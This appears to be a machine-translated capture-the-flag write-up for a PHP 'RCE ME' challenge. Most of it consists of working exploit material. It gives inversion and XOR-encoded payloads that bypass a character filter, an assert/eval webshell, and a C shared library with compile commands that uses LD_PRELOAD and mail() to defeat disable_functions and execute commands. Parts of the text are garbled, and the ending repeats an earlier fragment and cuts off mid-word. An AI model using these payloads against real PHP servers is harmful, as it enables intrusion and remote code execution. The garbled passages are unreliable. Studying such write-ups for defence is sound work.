Summarized by [geek challenge 2019]RCE ME disable_functions bypass
source code
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } // ?>
First, disable_functions
bypass
Adopt the method of inversion or XOR bypass
?code=(~%8F%97%8F%96%91%99%90)();
disable_functions
pcntl_alarm pcntl_fork pcntl_waitpid pcntl_wait pcntl_wifexited pcntl_wifstopped pcntl_wifsignaled pcntl_wifcontinued pcntl_wexitstatus pcntl_wtermsig pcntl_wstopsig pcntl_signal pcntl_signal_get_handler pcntl_signal_dispatch pcntl_get_last_error pcntl_strerror pcntl_sigprocmask pcntl_sigwaitinfo pcntl_sigtimedwait pcntl_exec pcntl_getpriority pcntl_setpriority pcntl_async_signals system exec shell_exec popen proc_open passthru symlink link syslog imap_open ld dl
Construct webshell
?code=assert(eval($_POST[cmd])); ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
After connecting, the webshell has no permission and cannot execute most commands
We need special means -- using LD_preload hijacks the function call of the child process, and briefly introduces its principle at the end.
/tmp / and / var/tmp / both have upload permission to upload malicious so and php scripts
Using inversion (or XOR), variable splicing and pair_ GET parameter passing check vulnerability to bypass
- Target payload
?code=${_GET}[_](${_GET}[_]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
- Inversion method
?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
- XOR method
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
Supplement 1: ~ and ^ bypass
Deception and availability verification
After receiving the encoding, php will automatically decode the encoding once. If the decoded string does not contain the filtered characters (including ~ or ^), the bypass can be completed
- Filtering or regular matching is the filtering of ordinary strings containing negation or XOR operators.
- If the operation generates_ GET and other variables, the script has completed the operation and parsing, and the corresponding variables are stored in the_ GET array.
- If an eval statement is generated, the executable string generated by the temporary operation will also be executed during eval.
var_dump($_GET); echo "</br>"; echo preg_match("/[A-Za-z0-9]+/",$_GET["code"]); echo "</br>".$_GET[_];
Local test 1
_GET http://127.0.0.1/1.php?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=flag1&__=flag2
Local test 2(eval)
phpinfo() http://127.0.0.1/1.php?code=(~%8F%97%8F%96%91%99%90)();
Reverse bypass
urlencode(~'_GET');
Generate an inverted code. When uploading, you only need to
?code=(~xxxxxxxxxxxxx)
Why not decode it?
Because after we pass the parameters, php will automatically decode the url encoding in the string. We just need to take the inverse.
echo $_GET['code']; echo "\n".~$_GET['code']; // Output: //������� //phpinfo
XOR bypass
Suppose we want to construct two that can be XOR_ GET string
We can use the reversibility of XOR operation to set an encryption string first
$a = '_GET'; $b = '2333'; $c = $a^$b; echo $c; // $c is mtvg
verification
$a = '_GET'; $b = '2333'; $c = 'mtvg'; $d = $c^$b; echo $d; echo $d === $a; // Output as_ GET and 1
Supplement 2: using LD_PRELOAD bypasses the disable function
Some references in this section Explain in simple terms_ PRELOAD & putenv() We hereby attach the chain
Currently known functions
- Bypass the restrictions of open basedir on accessing directories
- Bypass disable functions
- Complete RCE
usability
- LD_ The SO specified by preload is loaded before all SO (earlier than the system SO) and called before other files are called
- SO can be used to rewrite and replace system functions
- After the hijacking is completed, the new sub process loads our malicious SO and calls our hijacked function
Utilization method
- Some folders have upload and access (above) permissions
- Using putenv, we can add the setting to the environment variable of the server, but the environment variable only survives during the request. We can use it to set LD_PRELOAD is a malicious path.
- Find the common methods available under the current permission (direct call or indirect call, just trigger), rewrite the method, generate evli shared (malicious so), turn the normal function into hijacked functions, and hijack the API functions called by the child process.
- Use the subprocess to call the function and trigger the specific shared library to complete rce (such as importing the read file log into the readable folder)
- Eliminate LD at the same time_ Preload prevents the call from falling into a loop
Write examples (indirect use)
Trace php's mail() function through strand. It will start the child process to call sendmail. It is found that it calls geteuid () (there are many more available), which can be used
libraries: hack.c
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("ls / > /tmp/sky"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
compile
gcc -c -fPIC hack.c -o hack gcc --share hack -o hack.so
Run script (child process)
<?php putenv("LD_PRELOAD=./hack.so"); // Add hack So to environment variable mail('','','',''); // Trigger a child process to call our malicious function ?>
You can see the output of ls in / tmp/sky
However, this method is not omnipotent. The GITHUB script shared above describes the shortcomings and limitations of sendmail method, which can be viewed by yourself
- __ attribute__((constructor)) is called after loading the OS
- Elimination of LD by non functional environ_ Preload environment variable
- PHP does not have any webshell feature function, which is in SO
Slightly related science popularization
Briefly introduce ELF format files in Linux
ute__((constructor)) is called after loading the OS
- Elimination of LD by non functional environ_ Preload environment variable
- PHP does not have any webshell feature function, which is in SO
Slightly related science popularization